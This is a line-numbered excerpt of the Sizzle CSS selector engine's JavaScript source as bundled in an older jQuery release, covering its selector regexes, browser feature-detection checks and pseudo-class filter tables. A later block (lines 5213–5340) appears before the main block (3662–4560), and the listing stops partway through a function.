5213 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
5214 // IE8 throws error here (do not put tests after this one)
5215 if ( !div.querySelectorAll(":checked").length ) {
5216 rbuggyQSA.push(":checked");
5217 }
5218 });
5219
5220 assert(function( div ) {
5221
5222 // Opera 10-12/IE9 - ^= $= *= and empty values
5223 // Should not select anything
5224 div.innerHTML = "<p test=''></p>";
5225 if ( div.querySelectorAll("[test^='']").length ) {
5226 rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:\"\"|'')" );
5227 }
5228
5229 // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
5230 // IE8 throws error here (do not put tests after this one)
5231 div.innerHTML = "<input type='hidden'/>";
5232 if ( !div.querySelectorAll(":enabled").length ) {
5233 rbuggyQSA.push(":enabled", ":disabled");
5234 }
5235 });
5236
5237 // rbuggyQSA always contains :focus, so no need for a length check
5238 rbuggyQSA = /* rbuggyQSA.length && */ new RegExp( rbuggyQSA.join("|") );
5239
5240 select = function( selector, context, results, seed, xml ) {
5241 // Only use querySelectorAll when not filtering,
5242 // when this is not xml,
5243 // and when no QSA bugs apply
5244 if ( !seed && !xml && !rbuggyQSA.test( selector ) ) {
5245 var groups, i,
5246 old = true,
5247 nid = expando,
5248 newContext = context,
5249 newSelector = context.nodeType === 9 && selector;
5250
5251 // qSA works strangely on Element-rooted queries
5252 // We can work around this by specifying an extra ID on the root
5253 // and working up from there (Thanks to Andrew Dupont for the technique)
5254 // IE 8 doesn't work on object elements
5255 if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
5256 groups = tokenize( selector );
5257
5258 if ( (old = context.getAttribute("id")) ) {
5259 nid = old.replace( rescape, "\\$&" );
5260 } else {
5261 context.setAttribute( "id", nid );
5262 }
5263 nid = "[id='" + nid + "'] ";
5264
5265 i = groups.length;
5266 while ( i-- ) {
5267 groups[i] = nid + groups[i].join("");
5268 }
5269 newContext = rsibling.test( selector ) && context.parentNode || context;
5270 newSelector = groups.join(",");
5271 }
5272
5273 if ( newSelector ) {
5274 try {
5275 push.apply( results, slice.call( newContext.querySelectorAll(
5276 newSelector
5277 ), 0 ) );
5278 return results;
5279 } catch(qsaError) {
5280 } finally {
5281 if ( !old ) {
5282 context.removeAttribute("id");
5283 }
5284 }
5285 }
5286 }
5287
5288 return oldSelect( selector, context, results, seed, xml );
5289 };
5290
5291 if ( matches ) {
5292 assert(function( div ) {
5293 // Check to see if it's possible to do matchesSelector
5294 // on a disconnected node (IE 9)
5295 disconnectedMatch = matches.call( div, "div" );
5296
5297 // This should fail with an exception
5298 // Gecko does not error, returns false instead
5299 try {
5300 matches.call( div, "[test!='']:sizzle" );
5301 rbuggyMatches.push( "!=", pseudos );
5302 } catch ( e ) {}
5303 });
5304
5305 // rbuggyMatches always contains :active and :focus, so no need for a length check
5306 rbuggyMatches = /* rbuggyMatches.length && */ new RegExp( rbuggyMatches.join("|") );
5307
5308 Sizzle.matchesSelector = function( elem, expr ) {
5309 // Make sure that attribute selectors are quoted
5310 expr = expr.replace( rattributeQuotes, "='$1']" );
5311
5312 // rbuggyMatches always contains :active, so no need for an existence check
5313 if ( !isXML( elem ) && !rbuggyMatches.test( expr ) && !rbuggyQSA.test( expr ) ) {
5314 try {
5315 var ret = matches.call( elem, expr );
5316
5317 // IE 9's matchesSelector returns false on disconnected nodes
5318 if ( ret || disconnectedMatch ||
5319 // As well, disconnected nodes are said to be in a document
5320 // fragment in IE 9
5321 elem.document && elem.document.nodeType !== 11 ) {
5322 return ret;
5323 }
5324 } catch(e) {}
5325 }
5326
5327 return Sizzle( expr, null, null, [ elem ] ).length > 0;
5328 };
5329 }
5330 })();
5331 }
5332
5333 // Deprecated
5334 Expr.pseudos["nth"] = Expr.pseudos["eq"];
5335
5336 // Back-compat
5337 function setFilters() {}
5338 Expr.filters = setFilters.prototype = Expr.pseudos;
5339 Expr.setFilters = new setFilters();
5340
3662 /*!
3663 * Sizzle CSS Selector Engine
3664 * Copyright 2012 jQuery Foundation and other contributors
3665 * Released under the MIT license
3666 * http://sizzlejs.com/
3667 */
3668 (function( window, undefined ) {
3669
3670 var cachedruns,
3671 assertGetIdNotName,
3672 Expr,
3673 getText,
3674 isXML,
3675 contains,
3676 compile,
3677 sortOrder,
3678 hasDuplicate,
3679 outermostContext,
3680
3681 baseHasDuplicate = true,
3682 strundefined = "undefined",
3683
3684 expando = ( "sizcache" + Math.random() ).replace( ".", "" ),
3685
3686 Token = String,
3687 document = window.document,
3688 docElem = document.documentElement,
3689 dirruns = 0,
3690 done = 0,
3691 pop = [].pop,
3692 push = [].push,
3693 slice = [].slice,
3694 // Use a stripped-down indexOf if a native one is unavailable
3695 indexOf = [].indexOf || function( elem ) {
3696 var i = 0,
3697 len = this.length;
3698 for ( ; i < len; i++ ) {
3699 if ( this[i] === elem ) {
3700 return i;
3701 }
3702 }
3703 return -1;
3704 },
3705
3706 // Augment a function for special use by Sizzle
3707 markFunction = function( fn, value ) {
3708 fn[ expando ] = value == null || value;
3709 return fn;
3710 },
3711
3712 createCache = function() {
3713 var cache = {},
3714 keys = [];
3715
3716 return markFunction(function( key, value ) {
3717 // Only keep the most recent entries
3718 if ( keys.push( key ) > Expr.cacheLength ) {
3719 delete cache[ keys.shift() ];
3720 }
3721
3722 // Retrieve with (key + " ") to avoid collision with native Object.prototype properties (see Issue #157)
3723 return (cache[ key + " " ] = value);
3724 }, cache );
3725 },
3726
3727 classCache = createCache(),
3728 tokenCache = createCache(),
3729 compilerCache = createCache(),
3730
3731 // Regex
3732
3733 // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
3734 whitespace = "[\\x20\\t\\r\\n\\f]",
3735 // http://www.w3.org/TR/css3-syntax/#characters
3736 characterEncoding = "(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",
3737
3738 // Loosely modeled on CSS identifier characters
3739 // An unquoted value should be a CSS identifier (http://www.w3.org/TR/css3-selectors/#attribute-selectors)
3740 // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
3741 identifier = characterEncoding.replace( "w", "w#" ),
3742
3743 // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
3744 operators = "([*^$|!~]?=)",
3745 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
3746 "*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
3747
3748 // Prefer arguments not in parens/brackets,
3749 // then attribute selectors and non-pseudos (denoted by :),
3750 // then anything else
3751 // These preferences are here to reduce the number of selectors
3752 // needing tokenize in the PSEUDO preFilter
3753 pseudos = ":(" + characterEncoding + ")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:" + attributes + ")|[^:]|\\\\.)*|.*))\\)|)",
3754
3755 // For matchExpr.POS and matchExpr.needsContext
3756 pos = ":(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace +
3757 "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)",
3758
3759 // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
3760 rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
3761
3762 rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
3763 rcombinators = new RegExp( "^" + whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*" ),
3764 rpseudo = new RegExp( pseudos ),
3765
3766 // Easily-parseable/retrievable ID or TAG or CLASS selectors
3767 rquickExpr = /^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,
3768
3769 rnot = /^:not/,
3770 rsibling = /[\x20\t\r\n\f]*[+~]/,
3771 rendsWithNot = /:not\($/,
3772
3773 rheader = /h\d/i,
3774 rinputs = /input|select|textarea|button/i,
3775
3776 rbackslash = /\\(?!\\)/g,
3777
3778 matchExpr = {
3779 "ID": new RegExp( "^#(" + characterEncoding + ")" ),
3780 "CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
3781 "NAME": new RegExp( "^\\[name=['\"]?(" + characterEncoding + ")['\"]?\\]" ),
3782 "TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
3783 "ATTR": new RegExp( "^" + attributes ),
3784 "PSEUDO": new RegExp( "^" + pseudos ),
3785 "POS": new RegExp( pos, "i" ),
3786 "CHILD": new RegExp( "^:(only|nth|first|last)-child(?:\\(" + whitespace +
3787 "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
3788 "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
3789 // For use in libraries implementing .is()
3790 "needsContext": new RegExp( "^" + whitespace + "*[>+~]|" + pos, "i" )
3791 },
3792
3793 // Support
3794
3795 // Used for testing something on an element
3796 assert = function( fn ) {
3797 var div = document.createElement("div");
3798
3799 try {
3800 return fn( div );
3801 } catch (e) {
3802 return false;
3803 } finally {
3804 // release memory in IE
3805 div = null;
3806 }
3807 },
3808
3809 // Check if getElementsByTagName("*") returns only elements
3810 assertTagNameNoComments = assert(function( div ) {
3811 div.appendChild( document.createComment("") );
3812 return !div.getElementsByTagName("*").length;
3813 }),
3814
3815 // Check if getAttribute returns normalized href attributes
3816 assertHrefNotNormalized = assert(function( div ) {
3817 div.innerHTML = "<a href='#'></a>";
3818 return div.firstChild && typeof div.firstChild.getAttribute !== strundefined &&
3819 div.firstChild.getAttribute("href") === "#";
3820 }),
3821
3822 // Check if attributes should be retrieved by attribute nodes
3823 assertAttributes = assert(function( div ) {
3824 div.innerHTML = "<select></select>";
3825 var type = typeof div.lastChild.getAttribute("multiple");
3826 // IE8 returns a string for some attributes even when not present
3827 return type !== "boolean" && type !== "string";
3828 }),
3829
3830 // Check if getElementsByClassName can be trusted
3831 assertUsableClassName = assert(function( div ) {
3832 // Opera can't find a second classname (in 9.6)
3833 div.innerHTML = "<div class='hidden e'></div><div class='hidden'></div>";
3834 if ( !div.getElementsByClassName || !div.getElementsByClassName("e").length ) {
3835 return false;
3836 }
3837
3838 // Safari 3.2 caches class attributes and doesn't catch changes
3839 div.lastChild.className = "e";
3840 return div.getElementsByClassName("e").length === 2;
3841 }),
3842
3843 // Check if getElementById returns elements by name
3844 // Check if getElementsByName privileges form controls or returns elements by ID
3845 assertUsableName = assert(function( div ) {
3846 // Inject content
3847 div.id = expando + 0;
3848 div.innerHTML = "<a name='" + expando + "'></a><div name='" + expando + "'></div>";
3849 docElem.insertBefore( div, docElem.firstChild );
3850
3851 // Test
3852 var pass = document.getElementsByName &&
3853 // buggy browsers will return fewer than the correct 2
3854 document.getElementsByName( expando ).length === 2 +
3855 // buggy browsers will return more than the correct 0
3856 document.getElementsByName( expando + 0 ).length;
3857 assertGetIdNotName = !document.getElementById( expando );
3858
3859 // Cleanup
3860 docElem.removeChild( div );
3861
3862 return pass;
3863 });
3864
3865 // If slice is not available, provide a backup
3866 try {
3867 slice.call( docElem.childNodes, 0 )[0].nodeType;
3868 } catch ( e ) {
3869 slice = function( i ) {
3870 var elem,
3871 results = [];
3872 for ( ; (elem = this[i]); i++ ) {
3873 results.push( elem );
3874 }
3875 return results;
3876 };
3877 }
3878
3879 function Sizzle( selector, context, results, seed ) {
3880 results = results || [];
3881 context = context || document;
3882 var match, elem, xml, m,
3883 nodeType = context.nodeType;
3884
3885 if ( !selector || typeof selector !== "string" ) {
3886 return results;
3887 }
3888
3889 if ( nodeType !== 1 && nodeType !== 9 ) {
3890 return [];
3891 }
3892
3893 xml = isXML( context );
3894
3895 if ( !xml && !seed ) {
3896 if ( (match = rquickExpr.exec( selector )) ) {
3897 // Speed-up: Sizzle("#ID")
3898 if ( (m = match[1]) ) {
3899 if ( nodeType === 9 ) {
3900 elem = context.getElementById( m );
3901 // Check parentNode to catch when Blackberry 4.6 returns
3902 // nodes that are no longer in the document #6963
3903 if ( elem && elem.parentNode ) {
3904 // Handle the case where IE, Opera, and Webkit return items
3905 // by name instead of ID
3906 if ( elem.id === m ) {
3907 results.push( elem );
3908 return results;
3909 }
3910 } else {
3911 return results;
3912 }
3913 } else {
3914 // Context is not a document
3915 if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
3916 contains( context, elem ) && elem.id === m ) {
3917 results.push( elem );
3918 return results;
3919 }
3920 }
3921
3922 // Speed-up: Sizzle("TAG")
3923 } else if ( match[2] ) {
3924 push.apply( results, slice.call(context.getElementsByTagName( selector ), 0) );
3925 return results;
3926
3927 // Speed-up: Sizzle(".CLASS")
3928 } else if ( (m = match[3]) && assertUsableClassName && context.getElementsByClassName ) {
3929 push.apply( results, slice.call(context.getElementsByClassName( m ), 0) );
3930 return results;
3931 }
3932 }
3933 }
3934
3935 // All others
3936 return select( selector.replace( rtrim, "$1" ), context, results, seed, xml );
3937 }
3938
3939 Sizzle.matches = function( expr, elements ) {
3940 return Sizzle( expr, null, null, elements );
3941 };
3942
3943 Sizzle.matchesSelector = function( elem, expr ) {
3944 return Sizzle( expr, null, null, [ elem ] ).length > 0;
3945 };
3946
3947 // Returns a function to use in pseudos for input types
3948 function createInputPseudo( type ) {
3949 return function( elem ) {
3950 var name = elem.nodeName.toLowerCase();
3951 return name === "input" && elem.type === type;
3952 };
3953 }
3954
3955 // Returns a function to use in pseudos for buttons
3956 function createButtonPseudo( type ) {
3957 return function( elem ) {
3958 var name = elem.nodeName.toLowerCase();
3959 return (name === "input" || name === "button") && elem.type === type;
3960 };
3961 }
3962
3963 // Returns a function to use in pseudos for positionals
3964 function createPositionalPseudo( fn ) {
3965 return markFunction(function( argument ) {
3966 argument = +argument;
3967 return markFunction(function( seed, matches ) {
3968 var j,
3969 matchIndexes = fn( [], seed.length, argument ),
3970 i = matchIndexes.length;
3971
3972 // Match elements found at the specified indexes
3973 while ( i-- ) {
3974 if ( seed[ (j = matchIndexes[i]) ] ) {
3975 seed[j] = !(matches[j] = seed[j]);
3976 }
3977 }
3978 });
3979 });
3980 }
3981
3982 /**
3983 * Utility function for retrieving the text value of an array of DOM nodes
3984 * @param {Array|Element} elem
3985 */
3986 getText = Sizzle.getText = function( elem ) {
3987 var node,
3988 ret = "",
3989 i = 0,
3990 nodeType = elem.nodeType;
3991
3992 if ( nodeType ) {
3993 if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
3994 // Use textContent for elements
3995 // innerText usage removed for consistency of new lines (see #11153)
3996 if ( typeof elem.textContent === "string" ) {
3997 return elem.textContent;
3998 } else {
3999 // Traverse its children
4000 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
4001 ret += getText( elem );
4002 }
4003 }
4004 } else if ( nodeType === 3 || nodeType === 4 ) {
4005 return elem.nodeValue;
4006 }
4007 // Do not include comment or processing instruction nodes
4008 } else {
4009
4010 // If no nodeType, this is expected to be an array
4011 for ( ; (node = elem[i]); i++ ) {
4012 // Do not traverse comment nodes
4013 ret += getText( node );
4014 }
4015 }
4016 return ret;
4017 };
4018
4019 isXML = Sizzle.isXML = function( elem ) {
4020 // documentElement is verified for cases where it doesn't yet exist
4021 // (such as loading iframes in IE - #4833)
4022 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
4023 return documentElement ? documentElement.nodeName !== "HTML" : false;
4024 };
4025
4026 // Element contains another
4027 contains = Sizzle.contains = docElem.contains ?
4028 function( a, b ) {
4029 var adown = a.nodeType === 9 ? a.documentElement : a,
4030 bup = b && b.parentNode;
4031 return a === bup || !!( bup && bup.nodeType === 1 && adown.contains && adown.contains(bup) );
4032 } :
4033 docElem.compareDocumentPosition ?
4034 function( a, b ) {
4035 return b && !!( a.compareDocumentPosition( b ) & 16 );
4036 } :
4037 function( a, b ) {
4038 while ( (b = b.parentNode) ) {
4039 if ( b === a ) {
4040 return true;
4041 }
4042 }
4043 return false;
4044 };
4045
4046 Sizzle.attr = function( elem, name ) {
4047 var val,
4048 xml = isXML( elem );
4049
4050 if ( !xml ) {
4051 name = name.toLowerCase();
4052 }
4053 if ( (val = Expr.attrHandle[ name ]) ) {
4054 return val( elem );
4055 }
4056 if ( xml || assertAttributes ) {
4057 return elem.getAttribute( name );
4058 }
4059 val = elem.getAttributeNode( name );
4060 return val ?
4061 typeof elem[ name ] === "boolean" ?
4062 elem[ name ] ? name : null :
4063 val.specified ? val.value : null :
4064 null;
4065 };
4066
4067 Expr = Sizzle.selectors = {
4068
4069 // Can be adjusted by the user
4070 cacheLength: 50,
4071
4072 createPseudo: markFunction,
4073
4074 match: matchExpr,
4075
4076 // IE6/7 return a modified href
4077 attrHandle: assertHrefNotNormalized ?
4078 {} :
4079 {
4080 "href": function( elem ) {
4081 return elem.getAttribute( "href", 2 );
4082 },
4083 "type": function( elem ) {
4084 return elem.getAttribute("type");
4085 }
4086 },
4087
4088 find: {
4089 "ID": assertGetIdNotName ?
4090 function( id, context, xml ) {
4091 if ( typeof context.getElementById !== strundefined && !xml ) {
4092 var m = context.getElementById( id );
4093 // Check parentNode to catch when Blackberry 4.6 returns
4094 // nodes that are no longer in the document #6963
4095 return m && m.parentNode ? [m] : [];
4096 }
4097 } :
4098 function( id, context, xml ) {
4099 if ( typeof context.getElementById !== strundefined && !xml ) {
4100 var m = context.getElementById( id );
4101
4102 return m ?
4103 m.id === id || typeof m.getAttributeNode !== strundefined && m.getAttributeNode("id").value === id ?
4104 [m] :
4105 undefined :
4106 [];
4107 }
4108 },
4109
4110 "TAG": assertTagNameNoComments ?
4111 function( tag, context ) {
4112 if ( typeof context.getElementsByTagName !== strundefined ) {
4113 return context.getElementsByTagName( tag );
4114 }
4115 } :
4116 function( tag, context ) {
4117 var results = context.getElementsByTagName( tag );
4118
4119 // Filter out possible comments
4120 if ( tag === "*" ) {
4121 var elem,
4122 tmp = [],
4123 i = 0;
4124
4125 for ( ; (elem = results[i]); i++ ) {
4126 if ( elem.nodeType === 1 ) {
4127 tmp.push( elem );
4128 }
4129 }
4130
4131 return tmp;
4132 }
4133 return results;
4134 },
4135
4136 "NAME": assertUsableName && function( tag, context ) {
4137 if ( typeof context.getElementsByName !== strundefined ) {
4138 return context.getElementsByName( name );
4139 }
4140 },
4141
4142 "CLASS": assertUsableClassName && function( className, context, xml ) {
4143 if ( typeof context.getElementsByClassName !== strundefined && !xml ) {
4144 return context.getElementsByClassName( className );
4145 }
4146 }
4147 },
4148
4149 relative: {
4150 ">": { dir: "parentNode", first: true },
4151 " ": { dir: "parentNode" },
4152 "+": { dir: "previousSibling", first: true },
4153 "~": { dir: "previousSibling" }
4154 },
4155
4156 preFilter: {
4157 "ATTR": function( match ) {
4158 match[1] = match[1].replace( rbackslash, "" );
4159
4160 // Move the given value to match[3] whether quoted or unquoted
4161 match[3] = ( match[4] || match[5] || "" ).replace( rbackslash, "" );
4162
4163 if ( match[2] === "~=" ) {
4164 match[3] = " " + match[3] + " ";
4165 }
4166
4167 return match.slice( 0, 4 );
4168 },
4169
4170 "CHILD": function( match ) {
4171 /* matches from matchExpr["CHILD"]
4172 1 type (only|nth|...)
4173 2 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
4174 3 xn-component of xn+y argument ([+-]?\d*n|)
4175 4 sign of xn-component
4176 5 x of xn-component
4177 6 sign of y-component
4178 7 y of y-component
4179 */
4180 match[1] = match[1].toLowerCase();
4181
4182 if ( match[1] === "nth" ) {
4183 // nth-child requires argument
4184 if ( !match[2] ) {
4185 Sizzle.error( match[0] );
4186 }
4187
4188 // numeric x and y parameters for Expr.filter.CHILD
4189 // remember that false/true cast respectively to 0/1
4190 match[3] = +( match[3] ? match[4] + (match[5] || 1) : 2 * ( match[2] === "even" || match[2] === "odd" ) );
4191 match[4] = +( ( match[6] + match[7] ) || match[2] === "odd" );
4192
4193 // other types prohibit arguments
4194 } else if ( match[2] ) {
4195 Sizzle.error( match[0] );
4196 }
4197
4198 return match;
4199 },
4200
4201 "PSEUDO": function( match ) {
4202 var unquoted, excess;
4203 if ( matchExpr["CHILD"].test( match[0] ) ) {
4204 return null;
4205 }
4206
4207 if ( match[3] ) {
4208 match[2] = match[3];
4209 } else if ( (unquoted = match[4]) ) {
4210 // Only check arguments that contain a pseudo
4211 if ( rpseudo.test(unquoted) &&
4212 // Get excess from tokenize (recursively)
4213 (excess = tokenize( unquoted, true )) &&
4214 // advance to the next closing parenthesis
4215 (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
4216
4217 // excess is a negative index
4218 unquoted = unquoted.slice( 0, excess );
4219 match[0] = match[0].slice( 0, excess );
4220 }
4221 match[2] = unquoted;
4222 }
4223
4224 // Return only captures needed by the pseudo filter method (type and argument)
4225 return match.slice( 0, 3 );
4226 }
4227 },
4228
4229 filter: {
4230 "ID": assertGetIdNotName ?
4231 function( id ) {
4232 id = id.replace( rbackslash, "" );
4233 return function( elem ) {
4234 return elem.getAttribute("id") === id;
4235 };
4236 } :
4237 function( id ) {
4238 id = id.replace( rbackslash, "" );
4239 return function( elem ) {
4240 var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
4241 return node && node.value === id;
4242 };
4243 },
4244
4245 "TAG": function( nodeName ) {
4246 if ( nodeName === "*" ) {
4247 return function() { return true; };
4248 }
4249 nodeName = nodeName.replace( rbackslash, "" ).toLowerCase();
4250
4251 return function( elem ) {
4252 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
4253 };
4254 },
4255
4256 "CLASS": function( className ) {
4257 var pattern = classCache[ expando ][ className + " " ];
4258
4259 return pattern ||
4260 (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
4261 classCache( className, function( elem ) {
4262 return pattern.test( elem.className || (typeof elem.getAttribute !== strundefined && elem.getAttribute("class")) || "" );
4263 });
4264 },
4265
4266 "ATTR": function( name, operator, check ) {
4267 return function( elem, context ) {
4268 var result = Sizzle.attr( elem, name );
4269
4270 if ( result == null ) {
4271 return operator === "!=";
4272 }
4273 if ( !operator ) {
4274 return true;
4275 }
4276
4277 result += "";
4278
4279 return operator === "=" ? result === check :
4280 operator === "!=" ? result !== check :
4281 operator === "^=" ? check && result.indexOf( check ) === 0 :
4282 operator === "*=" ? check && result.indexOf( check ) > -1 :
4283 operator === "$=" ? check && result.substr( result.length - check.length ) === check :
4284 operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
4285 operator === "|=" ? result === check || result.substr( 0, check.length + 1 ) === check + "-" :
4286 false;
4287 };
4288 },
4289
4290 "CHILD": function( type, argument, first, last ) {
4291
4292 if ( type === "nth" ) {
4293 return function( elem ) {
4294 var node, diff,
4295 parent = elem.parentNode;
4296
4297 if ( first === 1 && last === 0 ) {
4298 return true;
4299 }
4300
4301 if ( parent ) {
4302 diff = 0;
4303 for ( node = parent.firstChild; node; node = node.nextSibling ) {
4304 if ( node.nodeType === 1 ) {
4305 diff++;
4306 if ( elem === node ) {
4307 break;
4308 }
4309 }
4310 }
4311 }
4312
4313 // Incorporate the offset (or cast to NaN), then check against cycle size
4314 diff -= last;
4315 return diff === first || ( diff % first === 0 && diff / first >= 0 );
4316 };
4317 }
4318
4319 return function( elem ) {
4320 var node = elem;
4321
4322 switch ( type ) {
4323 case "only":
4324 case "first":
4325 while ( (node = node.previousSibling) ) {
4326 if ( node.nodeType === 1 ) {
4327 return false;
4328 }
4329 }
4330
4331 if ( type === "first" ) {
4332 return true;
4333 }
4334
4335 node = elem;
4336
4337 /* falls through */
4338 case "last":
4339 while ( (node = node.nextSibling) ) {
4340 if ( node.nodeType === 1 ) {
4341 return false;
4342 }
4343 }
4344
4345 return true;
4346 }
4347 };
4348 },
4349
4350 "PSEUDO": function( pseudo, argument ) {
4351 // pseudo-class names are case-insensitive
4352 // http://www.w3.org/TR/selectors/#pseudo-classes
4353 // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
4354 // Remember that setFilters inherits from pseudos
4355 var args,
4356 fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
4357 Sizzle.error( "unsupported pseudo: " + pseudo );
4358
4359 // The user may use createPseudo to indicate that
4360 // arguments are needed to create the filter function
4361 // just as Sizzle does
4362 if ( fn[ expando ] ) {
4363 return fn( argument );
4364 }
4365
4366 // But maintain support for old signatures
4367 if ( fn.length > 1 ) {
4368 args = [ pseudo, pseudo, "", argument ];
4369 return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
4370 markFunction(function( seed, matches ) {
4371 var idx,
4372 matched = fn( seed, argument ),
4373 i = matched.length;
4374 while ( i-- ) {
4375 idx = indexOf.call( seed, matched[i] );
4376 seed[ idx ] = !( matches[ idx ] = matched[i] );
4377 }
4378 }) :
4379 function( elem ) {
4380 return fn( elem, 0, args );
4381 };
4382 }
4383
4384 return fn;
4385 }
4386 },
4387
4388 pseudos: {
4389 "not": markFunction(function( selector ) {
4390 // Trim the selector passed to compile
4391 // to avoid treating leading and trailing
4392 // spaces as combinators
4393 var input = [],
4394 results = [],
4395 matcher = compile( selector.replace( rtrim, "$1" ) );
4396
4397 return matcher[ expando ] ?
4398 markFunction(function( seed, matches, context, xml ) {
4399 var elem,
4400 unmatched = matcher( seed, null, xml, [] ),
4401 i = seed.length;
4402
4403 // Match elements unmatched by `matcher`
4404 while ( i-- ) {
4405 if ( (elem = unmatched[i]) ) {
4406 seed[i] = !(matches[i] = elem);
4407 }
4408 }
4409 }) :
4410 function( elem, context, xml ) {
4411 input[0] = elem;
4412 matcher( input, null, xml, results );
4413 return !results.pop();
4414 };
4415 }),
4416
4417 "has": markFunction(function( selector ) {
4418 return function( elem ) {
4419 return Sizzle( selector, elem ).length > 0;
4420 };
4421 }),
4422
4423 "contains": markFunction(function( text ) {
4424 return function( elem ) {
4425 return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
4426 };
4427 }),
4428
4429 "enabled": function( elem ) {
4430 return elem.disabled === false;
4431 },
4432
4433 "disabled": function( elem ) {
4434 return elem.disabled === true;
4435 },
4436
4437 "checked": function( elem ) {
4438 // In CSS3, :checked should return both checked and selected elements
4439 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
4440 var nodeName = elem.nodeName.toLowerCase();
4441 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
4442 },
4443
4444 "selected": function( elem ) {
4445 // Accessing this property makes selected-by-default
4446 // options in Safari work properly
4447 if ( elem.parentNode ) {
4448 elem.parentNode.selectedIndex;
4449 }
4450
4451 return elem.selected === true;
4452 },
4453
4454 "parent": function( elem ) {
4455 return !Expr.pseudos["empty"]( elem );
4456 },
4457
4458 "empty": function( elem ) {
4459 // http://www.w3.org/TR/selectors/#empty-pseudo
4460 // :empty is only affected by element nodes and content nodes(including text(3), cdata(4)),
4461 // not comment, processing instructions, or others
4462 // Thanks to Diego Perini for the nodeName shortcut
4463 // Greater than "@" means alpha characters (specifically not starting with "#" or "?")
4464 var nodeType;
4465 elem = elem.firstChild;
4466 while ( elem ) {
4467 if ( elem.nodeName > "@" || (nodeType = elem.nodeType) === 3 || nodeType === 4 ) {
4468 return false;
4469 }
4470 elem = elem.nextSibling;
4471 }
4472 return true;
4473 },
4474
4475 "header": function( elem ) {
4476 return rheader.test( elem.nodeName );
4477 },
4478
4479 "text": function( elem ) {
4480 var type, attr;
4481 // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
4482 // use getAttribute instead to test this case
4483 return elem.nodeName.toLowerCase() === "input" &&
4484 (type = elem.type) === "text" &&
4485 ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === type );
4486 },
4487
4488 // Input types
4489 "radio": createInputPseudo("radio"),
4490 "checkbox": createInputPseudo("checkbox"),
4491 "file": createInputPseudo("file"),
4492 "password": createInputPseudo("password"),
4493 "image": createInputPseudo("image"),
4494
4495 "submit": createButtonPseudo("submit"),
4496 "reset": createButtonPseudo("reset"),
4497
4498 "button": function( elem ) {
4499 var name = elem.nodeName.toLowerCase();
4500 return name === "input" && elem.type === "button" || name === "button";
4501 },
4502
4503 "input": function( elem ) {
4504 return rinputs.test( elem.nodeName );
4505 },
4506
4507 "focus": function( elem ) {
4508 var doc = elem.ownerDocument;
4509 return elem === doc.activeElement && (!doc.hasFocus || doc.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
4510 },
4511
4512 "active": function( elem ) {
4513 return elem === elem.ownerDocument.activeElement;
4514 },
4515
4516 // Positional types
4517 "first": createPositionalPseudo(function() {
4518 return [ 0 ];
4519 }),
4520
4521 "last": createPositionalPseudo(function( matchIndexes, length ) {
4522 return [ length - 1 ];
4523 }),
4524
4525 "eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
4526 return [ argument < 0 ? argument + length : argument ];
4527 }),
4528
4529 "even": createPositionalPseudo(function( matchIndexes, length ) {
4530 for ( var i = 0; i < length; i += 2 ) {
4531 matchIndexes.push( i );
4532 }
4533 return matchIndexes;
4534 }),
4535
4536 "odd": createPositionalPseudo(function( matchIndexes, length ) {
4537 for ( var i = 1; i < length; i += 2 ) {
4538 matchIndexes.push( i );
4539 }
4540 return matchIndexes;
4541 }),
4542
4543 "lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
4544 for ( var i = argument < 0 ? argument + length : argument; --i >= 0; ) {
4545 matchIndexes.push( i );
4546 }
4547 return matchIndexes;
4548 }),
4549
4550 "gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
4551 for ( var i = argument < 0 ? argument + length : argument; ++i < length; ) {
4552 matchIndexes.push( i );
4553 }
4554 return matchIndexes;
4555 })
4556 }
4557 };
4558
4559 function siblingCheck( a, b, ret ) {
4560 if ( a === b ) {
